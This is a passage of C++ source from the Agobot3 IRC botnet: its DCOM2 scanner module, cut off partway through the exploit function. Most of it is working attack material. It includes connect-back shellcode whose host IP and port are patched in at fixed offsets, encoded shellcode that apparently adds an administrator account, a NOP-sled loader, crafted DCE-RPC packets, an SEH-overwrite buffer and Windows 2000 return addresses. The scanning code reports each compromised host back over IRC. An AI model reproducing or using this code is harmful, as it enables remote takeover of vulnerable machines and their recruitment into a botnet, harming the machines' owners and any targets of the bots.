www.pudn.com > agobot3-priv4.rar > dcom2scanner.cpp


/*	Agobot3 - a modular IRC bot for Win32 / Linux 
	Copyright (C) 2003 Ago 
 
	This program is free software; you can redistribute it and/or 
	modify it under the terms of the GNU General Public License 
	as published by the Free Software Foundation; either version 2 
	of the License, or (at your option) any later version. 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
	GNU General Public License for more details. 
 
	You should have received a copy of the GNU General Public License 
	along with this program; if not, write to the Free Software 
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */ 
 
#include "main.h" 
#include "dcom2scanner.h" 
#include "mainctrl.h" 
#include "utility.h" 
#include "shellcode.h" 
 
#define DCOM2_SHELLCODE_OFFSET_IP	0x16D	// Offset for the IP to connect to 
#define DCOM2_SHELLCODE_OFFSET_PORT	0x171	// Offset for the port to connect to 
 
char dcom2_shellcode[]= 
	"\x64\x63\x6F\x6D\x68\x78\x30\x72\xE9\x5F\x01\x00\x00\x5B\x56" 
	"\x57\x50\xE8\xB3\x03\x00\x00\x8D\xB3\x9F\x00\x00\x00\x8D\xBB\xA8" 
	"\x00\x00\x00\xC7\x83\xA7\x01\x00\x00\x0F\x00\x00\x00\xE8\x07\x03" 
	"\x00\x00\x89\x83\xF4\x00\x00\x00\x8D\xBB\xB7\x00\x00\x00\xC7\x83" 
	"\xA7\x01\x00\x00\x0D\x00\x00\x00\xE8\xEC\x02\x00\x00\x89\x83\xF0" 
	"\x00\x00\x00\x8D\xBB\xC4\x00\x00\x00\xE8\xC3\x02\x00\x00\x89\x83" 
	"\xE4\x00\x00\x00\x8D\xBB\xCA\x00\x00\x00\xE8\xB2\x02\x00\x00\x89" 
	"\x83\xE8\x00\x00\x00\x8D\xBB\xD5\x00\x00\x00\xE8\xA1\x02\x00\x00" 
	"\x89\x83\xEC\x00\x00\x00\x8D\xB3\x0A\x00\x00\x00\x8D\xBB\x11\x00" 
	"\x00\x00\xE8\x8A\x02\x00\x00\x89\x83\x41\x00\x00\x00\x8D\xBB\x1C" 
	"\x00\x00\x00\xE8\x79\x02\x00\x00\x89\x83\x45\x00\x00\x00\x8D\xBB" 
	"\x23\x00\x00\x00\xE8\x68\x02\x00\x00\x89\x83\x49\x00\x00\x00\x8D" 
	"\xBB\x2B\x00\x00\x00\xE8\x57\x02\x00\x00\x89\x83\x4D\x00\x00\x00" 
	"\x8D\xBB\x30\x00\x00\x00\xE8\x46\x02\x00\x00\x89\x83\x51\x00\x00" 
	"\x00\x8D\xBB\x35\x00\x00\x00\xE8\x35\x02\x00\x00\x89\x83\x55\x00" 
	"\x00\x00\x8D\xB3\x59\x00\x00\x00\x8D\xBB\x60\x00\x00\x00\xE8\x1E" 
	"\x02\x00\x00\x89\x83\x87\x00\x00\x00\x8D\xBB\x66\x00\x00\x00\xE8" 
	"\x0D\x02\x00\x00\x89\x83\x8B\x00\x00\x00\x8D\xBB\x6D\x00\x00\x00" 
	"\xE8\xFC\x01\x00\x00\x89\x83\x8F\x00\x00\x00\x8D\xBB\x74\x00\x00" 
	"\x00\xE8\xEB\x01\x00\x00\x89\x83\x93\x00\x00\x00\x8D\xBB\x7B\x00" 
	"\x00\x00\xE8\xDA\x01\x00\x00\x89\x83\x97\x00\x00\x00\x8D\xBB\x82" 
	"\x00\x00\x00\xE8\xC9\x01\x00\x00\x89\x83\x9B\x00\x00\x00\x53\xE8" 
	"\xEB\x02\x00\x00\x5B\x58\x5F\x5E\xE8\x10\x05\x00\x00\xE8\x9C\xFE" 
	"\xFF\xFF\x00\x00\x00\x00\x11\x11\x11\x11\x22\x22\x77\x73\x32\x5F" 
	"\x33\x32\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x73\x6F" 
	"\x63\x6B\x65\x74\x00\x63\x6F\x6E\x6E\x65\x63\x74\x00\x72\x65\x63" 
	"\x76\x00\x73\x65\x6E\x64\x00\x63\x6C\x6F\x73\x65\x73\x6F\x63\x6B" 
	"\x65\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6D\x73\x76\x63\x72" 
	"\x74\x00\x66\x6F\x70\x65\x6E\x00\x66\x63\x6C\x6F\x73\x65\x00\x66" 
	"\x77\x72\x69\x74\x65\x00\x6D\x65\x6D\x73\x65\x74\x00\x6D\x61\x6C" 
	"\x6C\x6F\x63\x00\x66\x72\x65\x65\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x00\x47\x65\x74\x50\x72\x6F" 
	"\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62" 
	"\x72\x61\x72\x79\x41\x00\x53\x6C\x65\x65\x70\x00\x45\x78\x69\x74" 
	"\x54\x68\x72\x65\x61\x64\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F" 
	"\x63\x65\x73\x73\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x77\x2B\x62\x00\x00\x00\x00\x00\x77\x69" 
	"\x6E\x68\x6C\x70\x70\x33\x32\x2E\x65\x78\x65\x00\x6F\x70\x65\x6E" 
	"\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x51\x57\x56\x56\xFF\x93\xF0\x00\x00\x00\x50\x59\x57\x51\xFF" 
	"\x93\xF4\x00\x00\x00\x5E\x5F\x59\xC3\x31\xC0\x89\x83\xA3\x01\x00" 
	"\x00\x8B\x93\xA3\x01\x00\x00\x3B\x93\x93\x01\x00\x00\x7D\x63\x42" 
	"\x89\x93\xA3\x01\x00\x00\x31\xC0\x8B\x83\xA3\x01\x00\x00\xC1\xE0" 
	"\x02\x8B\x8B\x9B\x01\x00\x00\x01\xC1\x8B\x01\x03\x83\x8F\x01\x00" 
	"\x00\x57\x56\x51\x89\xFE\x89\xC7\x8B\x8B\xA7\x01\x00\x00\xF3\xA6" 
	"\x59\x5E\x5F\x75\xBC\x31\xC0\x8B\x83\xA3\x01\x00\x00\xD1\xE0\x8B" 
	"\x8B\x9F\x01\x00\x00\x01\xC1\x31\xC0\x66\x8B\x01\xC1\xE0\x02\x8B" 
	"\x8B\x97\x01\x00\x00\x01\xC8\x8B\x08\x03\x8B\x8F\x01\x00\x00\x89" 
	"\xC8\xC3\x31\xC0\xC3\xE9\xC8\x02\x00\x00\x3E\x8B\x40\x34\x3E\x8B" 
	"\xA8\xB8\x00\x00\x00\xE9\x0E\x00\x00\x00\x50\x51\x56\x55\x64\xA1" 
	"\x30\x00\x00\x00\x85\xC0\x78\xE2\x3E\x8B\x40\x0C\x3E\x8B\x70\x1C" 
	"\xAD\x3E\x8B\x68\x08\x89\xAB\x8F\x01\x00\x00\x89\xE8\x66\x81\x38" 
	"\x4D\x5A\x75\xC1\x05\x3C\x00\x00\x00\x8B\x08\x03\x8B\x8F\x01\x00" 
	"\x00\x66\x81\x39\x50\x45\x75\xAD\x81\xC1\x78\x00\x00\x00\x8B\x31" 
	"\x03\xB3\x8F\x01\x00\x00\x81\xC6\x18\x00\x00\x00\xAD\x89\x83\x93" 
	"\x01\x00\x00\xAD\x03\x83\x8F\x01\x00\x00\x89\x83\x97\x01\x00\x00" 
	"\xAD\x03\x83\x8F\x01\x00\x00\x89\x83\x9B\x01\x00\x00\xAD\x03\x83" 
	"\x8F\x01\x00\x00\x89\x83\x9F\x01\x00\x00\x5D\x5E\x59\x58\xC3\x50" 
	"\xB8\x00\x04\x00\x00\xE8\x71\x01\x00\x00\x3D\x00\x00\x00\x00\x0F" 
	"\x84\xEA\xFF\xFF\xFF\x89\x83\x83\x01\x00\x00\x58\x8B\x93\x83\x01" 
	"\x00\x00\x52\x68\x01\x01\x00\x00\x3E\xFF\x53\x41\x3D\x00\x00\x00" 
	"\x00\x0F\x85\xE5\xFF\xFF\xFF\x68\x06\x00\x00\x00\x68\x01\x00\x00" 
	"\x00\x68\x02\x00\x00\x00\x3E\xFF\x53\x45\x3D\xFF\xFF\xFF\xFF\x0F" 
	"\x84\xE2\xFF\xFF\xFF\x89\x83\xF8\x00\x00\x00\x57\x50\x53\x8D\x93" 
	"\x7F\x01\x00\x00\xC6\x02\x16\x52\x8D\x93\xFC\x00\x00\x00\x66\xC7" 
	"\x02\x02\x00\x66\x8B\x7B\x08\x66\x89\x7A\x02\x8B\x7B\x04\x89\x7A" 
	"\x04\x52\x8B\x83\xF8\x00\x00\x00\x50\x3E\xFF\x53\x49\x3D\x00\x00" 
	"\x00\x00\x0F\x8C\xC6\xFF\xFF\xFF\x5B\x58\x5F\x50\xB8\x00\x10\x00" 
	"\x00\xE8\xD5\x00\x00\x00\x3D\x00\x00\x00\x00\x0F\x84\xEA\xFF\xFF" 
	"\xFF\x89\x83\x60\x01\x00\x00\x58\xE8\x39\x00\x00\x00\xE8\xD8\x00" 
	"\x00\x00\xE8\x57\x00\x00\x00\xE8\x1F\x01\x00\x00\xC3\x8B\x83\xF8" 
	"\x00\x00\x00\x50\x3E\xFF\x53\x55\x8B\x83\xAB\x01\x00\x00\x40\x89" 
	"\x83\xAB\x01\x00\x00\x3D\x05\x00\x00\x00\x0F\x84\x05\x00\x00\x00" 
	"\xE9\x42\xFF\xFF\xFF\xC3\x68\x00\x00\x00\x00\x68\x04\x00\x00\x00" 
	"\x8D\x93\x87\x01\x00\x00\x52\x8B\x93\xF8\x00\x00\x00\x52\x3E\xFF" 
	"\x53\x4D\x3D\x01\x00\x00\x00\x0F\x8C\xB0\xFF\xFF\xFF\xC3\x57\x56" 
	"\x8B\xBB\x87\x01\x00\x00\x8B\xB3\x8B\x01\x00\x00\x39\xF7\x5E\x5F" 
	"\x0F\x84\x32\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x10\x00\x00" 
	"\x8B\x93\x60\x01\x00\x00\x52\x8B\x93\xF8\x00\x00\x00\x52\x3E\xFF" 
	"\x53\x4D\x3D\x01\x00\x00\x00\x0F\x8C\x70\xFF\xFF\xFF\x01\x83\x8B" 
	"\x01\x00\x00\xE9\x50\x00\x00\x00\xE8\x6E\x00\x00\x00\x50\x8B\x83" 
	"\xF8\x00\x00\x00\x50\x3E\xFF\x53\x55\x58\xC3\x89\xC7\x50\x3E\xFF" 
	"\x93\x97\x00\x00\x00\x5F\x50\x57\x68\x00\x00\x00\x00\x50\x3E\xFF" 
	"\x93\x93\x00\x00\x00\x5F\x5F\x5F\x58\xC3\x8D\x93\x64\x01\x00\x00" 
	"\x52\x8D\x93\x6C\x01\x00\x00\x52\x3E\xFF\x93\x87\x00\x00\x00\x5F" 
	"\x5F\x89\x83\x68\x01\x00\x00\xC3\xFF\xB3\x68\x01\x00\x00\x50\x68" 
	"\x01\x00\x00\x00\x8B\x93\x60\x01\x00\x00\x52\x3E\xFF\x93\x8F\x00" 
	"\x00\x00\x5F\x5F\x5F\x5F\xE9\x43\xFF\xFF\xFF\x8B\x93\x68\x01\x00" 
	"\x00\x52\x3E\xFF\x93\x8B\x00\x00\x00\x5F\xC3\x50\x8D\x83\x0C\x01" 
	"\x00\x00\x50\x8D\x83\x1C\x01\x00\x00\x50\x68\x00\x00\x00\x00\x68" 
	"\x00\x00\x00\x00\x68\x28\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00" 
	"\x00\x00\x00\x68\x00\x00\x00\x00\x8D\x83\x6C\x01\x00\x00\x50\x68" 
	"\x00\x00\x00\x00\x3E\xFF\x93\xEC\x00\x00\x00\x58\xC3\xE8\xA9\xFF" 
	"\xFF\xFF\x68\x00\x00\x00\x00\xFF\x93\xE8\x00\x00\x00\x90"; 
 
char dcom2_shellcode_adduser[]= 
	"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA" 
	"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69" 
	"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5" 
	"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA" 
	"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED" 
	"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF" 
	"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A" 
	"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F" 
	"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99" 
	"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10" 
	"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA" 
	"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B" 
	"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA" 
	"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8" 
	"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9" 
	"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC" 
	"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8" 
	"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA" 
	"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED" 
	"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99"; 
 
char dcom2_loader[]= 
	"\xE8\x00\x00\x00\x00\x58\x66\x31\xC0\x40\x81\x38\x64\x63\x6F" 
	"\x6D\x75\xF7\x81\x78\x04\x68\x78\x30\x72\x75\xEE\x05\x08\x00\x00" 
	"\x00\xFF\xE0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
	"\x90\x90\x90"; 
 
char dcom2_bindstr[]= 
	"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00" 
	"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00" 
	"\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
	"\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00" 
	"\x2B\x10\x48\x60\x02\x00\x00\x00"; 
 
char dcom2_request1[]= 
	"\x05\x00\x00\x03\x10\x00\x00\x00\xE8\x03\x00\x00\xE5\x00\x00\x00" 
	"\xD0\x03\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00" 
	"\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45\x64\x49\xB0\x70\xDD\xAE" 
	"\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00\x00\x00\x00\x00\x00\x00" 
	"\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E\x0D\x00\x00\x00\x00\x00" 
	"\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D\xCE\x11\xA6\x6A\x00\x20" 
	"\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41\x52\x42\x01\x00\x00\x00" 
	"\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\xA8\xF4\x0B\x00" 
	"\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00" 
	"\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
	"\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46" 
	"\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00" 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00\x00\x00\x4D\x45\x4F\x57" 
	"\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" 
	"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29\xCD\x00\x00\x00\x00\x00" 
	"\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00" 
	"\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00" 
	"\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x78\x00\x00\x00" 
	"\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
	"\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF\xFF\xFF\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC" 
	"\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00" 
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0C\x00" 
	"\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xD8\x98\x93" 
	"\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00\x00\x00\x32\x00\x31\x00" 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00\x00\x00\x0D\xF0\xAD\xBA" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00" 
	"\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01\x00\x00\x00\x00\x00\x00" 
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03\x00\x00\x00\x00\x00\x00" 
	"\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00" 
	"\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E\xE9\x4A\x99\x99\xF1\x8A" 
	"\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00\x00\x00\x78\x00\x6E\x00" 
	"\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00" 
	"\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00" 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00\x00\x00\x30\x00\x2E\x00" 
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00\x00\x00\x0E\x00\xFF\xFF" 
	"\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
 
char dcom2_request2[]= 
	"\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00"; 
 
// filename 
char dcom2_request3[]= 
	"\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33\x00\x34\x00" 
	"\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00" 
	"\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00" 
	"\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00\x00"; 
 
char dcom2_request4[]= 
	"\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00" 
	"\x00\x00\x00\x00\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00" 
	"\x28\x8C\x0C\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"; 
 
char dcom2_shellcode_buf[]= 
	"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00" 
	"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00" 
	"\x43\x00\x24\x00\x5c\x00" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" 
	"\xe9\xf3\xfd\xff\xff" 
	"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"; 
 
#define DCOM2_SCBUF_OFFSET_SC		0x24	// Offset for shellcode in the buffer 
#define DCOM2_SCBUF_BUF_MAX			0x208	// Maximimum number of bytes in shellcode 
#define DCOM2_SCBUF_OFFSET_JMP_ADDR	DCOM2_SCBUF_BUF_MAX+DCOM2_SCBUF_OFFSET_SC+0x8 
											// Offset for the jump address 
#define DCOM2_SCBUF_OFFSET_TOP_SEH	DCOM2_SCBUF_OFFSET_JMP_ADDR+0x4 
											// Offset for the top of the structured 
											// exception handler 
 
typedef struct dcom2_offset_s 
{	unsigned long lTopSEH; 
	unsigned long lJmpAddr; 
} dcom2_offset; 
 
dcom2_offset dcom2_my_offsets[]= 
{ 
	// Win2K English SP4 + MS03-026 
	{	0x7c54144c,		// kernel32.dll v5.0.2195.6688 
		0x77a1b496	},	// OLEAUT32.dll v2.40.4522.0 
	// Win2K English SP3 + HotFixes + MS03-026 
	{	0x77eda1f0,		// kernel32.dll v5.0.2195.6079 
		0x77a1afa9	},	// OLEAUT32.dll v2.40.4518.0 
	{	0x41414141,		// test 
		0x77FCC662	}	// test 
}; 
 
/* 
		DCOM2 Scanner starts here 
		scans for dcom exploit 
*/ 
 
CScannerDCOM2::CScannerDCOM2() { m_sScannerName.Assign("dcom2"); } 
void CScannerDCOM2::StartScan(const CString &sHost) 
{	bool bSuccess=false; 
	if(ScanPort(sHost.CStr(), 135)) 
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:135.", m_sScannerName.CStr(), sHost.CStr()); 
		bSuccess=Exploit(sHost); } 
 
#ifdef WIN32 
	if(ScanPort(sHost.CStr(), 445) && !bSuccess) 
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:445.", m_sScannerName.CStr(), sHost.CStr()); 
		bSuccess=ExploitNP(sHost); } 
#endif 
 
	// Success 
	if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \ 
		"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); } 
 
bool CScannerDCOM2::ExploitNP(const CString &sHost) 
{	return false; } 
 
bool CScannerDCOM2::Exploit(const CString &sHost) 
{	char szRecvBuf[4096], szSCBuf[4096], szLoadBuf[4096], szReqBuf[4096], szShellBuf[4096], szLoaderBuf[4096]; 
	int iShellSize=0, iLoaderSize=0, iPos=0, iSCSize=0, iLoadSize=0, iReqSize=0; 
	char *pTemp; 
//	int iHostOS=FpHost(sHost.CStr(), FP_RPC); 
//	if(iHostOS==OS_UNKNOWN || iHostOS==OS_WINNT) return false; 
 
	// Get a funky fresh socket 
	int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
	if(sSocket==SOCKET_ERROR) return false; 
 
	// Fill in sockaddr and resolve the host 
	sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin)); 
	ssin.sin_family=AF_INET; ssin.sin_port=htons(135); 
	ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr()); 
	if(ssin.sin_addr.s_addr==INADDR_NONE) // The host couldn't be resolved, exit 
	{	xClose(sSocket); return false; } 
 
